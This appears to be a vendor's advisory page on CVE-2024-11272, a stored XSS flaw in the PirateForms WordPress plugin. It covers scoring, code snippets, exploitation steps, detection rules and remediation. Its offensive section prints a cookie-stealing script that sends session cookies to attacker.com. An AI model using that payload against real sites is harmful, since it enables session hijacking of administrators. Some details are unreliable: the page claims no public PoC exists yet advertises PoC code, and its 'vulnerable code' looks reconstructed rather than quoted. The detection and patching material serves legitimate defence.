CVE-2024-11272
Executive Summary
CVE-2024-11272 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the PirateForms Contact Form & SMTP Plugin for WordPress, a plugin within the WordPress ecosystem. This flaw allows authenticated users with high privileges (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when the settings page is viewed. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard input sanitization. The attack vector is network-based, requires user interaction, and has a low impact on confidentiality and integrity. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. The vendor has addressed this issue in version 2.6.0 of the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The PirateForms plugin is distributed via the official WordPress Plugin Directory. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the directory. No supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin-level access.
- User Interaction (UI): Required (R) – The victim must visit the compromised settings page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires high privileges, but the impact is amplified in multisite environments where admin accounts may be more common.
Deep Dive & Mechanics
The vulnerability resides in the settings page of the PirateForms plugin. The plugin fails to properly sanitize and escape user-supplied input in certain settings fields before storing them in the WordPress database. When an administrator saves these settings, the malicious payload is stored. Subsequently, when any user (including other admins) views the settings page, the stored script executes in their browser context.
Root Cause: The plugin uses update_option() or similar functions to store settings without applying WordPress's built-in sanitization functions like sanitize_text_field() or wp_kses(). Additionally, the output is not escaped using esc_html() or esc_attr() when rendering the settings page.
Attack Flow:
- Attacker with admin privileges navigates to the PirateForms settings page.
- Attacker injects a JavaScript payload into a vulnerable field (e.g., a text input for email subject or SMTP settings).
- The plugin stores the unsanitized payload in the
wp_optionstable. - When any admin visits the settings page, the payload is rendered without escaping, executing the script.
- The script can steal session cookies, perform actions on behalf of the victim, or deface the admin panel.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.6.0):
// In settings registration
register_setting( 'pirateforms_settings', 'pirateforms_options' );
// In settings page rendering
echo '<input type="text" name="pirateforms_options[email_subject]" value="' . get_option('pirateforms_options')['email_subject'] . '" />';
The value is directly echoed without escaping.
Patched Code (2.6.0+):
// In settings registration
register_setting( 'pirateforms_settings', 'pirateforms_options', 'pirateforms_sanitize_settings' );
// Sanitization callback
function pirateforms_sanitize_settings( $input ) {
$input['email_subject'] = sanitize_text_field( $input['email_subject'] );
// ... other fields
return $input;
}
// In settings page rendering
echo '<input type="text" name="pirateforms_options[email_subject]" value="' . esc_attr( get_option('pirateforms_options')['email_subject'] ) . '" />';
The patched version adds a sanitization callback and escapes output.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress installation with PirateForms plugin version < 2.6.0.
- Admin-level credentials.
Exploitation Steps:
- Log in as an admin.
- Navigate to Settings > PirateForms.
- In the "Email Subject" field, enter the following payload:
<script>alert('XSS')</script> - Save the settings.
- The payload is now stored. Any admin visiting the settings page will see an alert box.
Advanced Payload (Cookie Stealing):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Replace attacker.com with your controlled server.
Blue Team (Defensive)
Detection:
- Monitor for unusual changes to the
pirateforms_optionsoption in thewp_optionstable. - Look for HTTP requests to
/wp-admin/options-general.php?page=pirateforms-settingscontaining script tags in POST data. - Use the Sigma rule provided in Detection Engineering.
Mitigation:
- Immediately update the plugin to version 2.6.0 or later.
- If immediate update is not possible, restrict admin access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block script tags in plugin settings fields.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/pirate-forms/pirate-forms.php(version < 2.6.0) - Database Entry:
wp_optionstable withoption_name = 'pirateforms_options'containing unsanitized HTML/JavaScript. - Network: HTTP POST requests to
/wp-admin/options-general.php?page=pirateforms-settingswith payloads containing<script>tags. - Logs: WordPress debug log entries showing failed sanitization attempts (if custom logging is enabled).
Detection Engineering
YARA Rule
rule Detect_PirateForms_XSS_Payload {
meta:
description = "Detects stored XSS payloads in PirateForms plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11272"
strings:
$payload = /<script[^>]*>.*<\/script>/i
$option_name = "pirateforms_options"
condition:
$option_name and $payload
}
Sigma Rule
title: Stored XSS in PirateForms Plugin Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to store XSS payloads in PirateForms plugin settings
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-11272
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'page=pirateforms-settings'
cs-body: '*<script>*'
condition: selection
falsepositives:
- Legitimate admin using JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11272 PirateForms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"page=pirateforms-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade PirateForms to version 2.6.0 or later via the WordPress admin dashboard or by downloading from the official repository.
- Audit Admin Accounts: Review and remove any unnecessary admin-level accounts, especially in multisite environments.
- Scan for Compromise: Check the
wp_optionstable for any suspicious entries inpirateforms_options. Use the YARA rule above to scan backups.
Long-Term Measures:
- Implement the principle of least privilege for WordPress users.
- Enable automatic updates for plugins where possible.
- Regularly audit plugin code for security vulnerabilities.
- Use a Web Application Firewall (WAF) with rules to block XSS attempts.
Workaround (If Patching Is Not Possible):
- Disable the PirateForms plugin until an update can be applied.
- Restrict access to the settings page via
.htaccessor a security plugin.
Valters IT
Securing Digital Frontiers
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.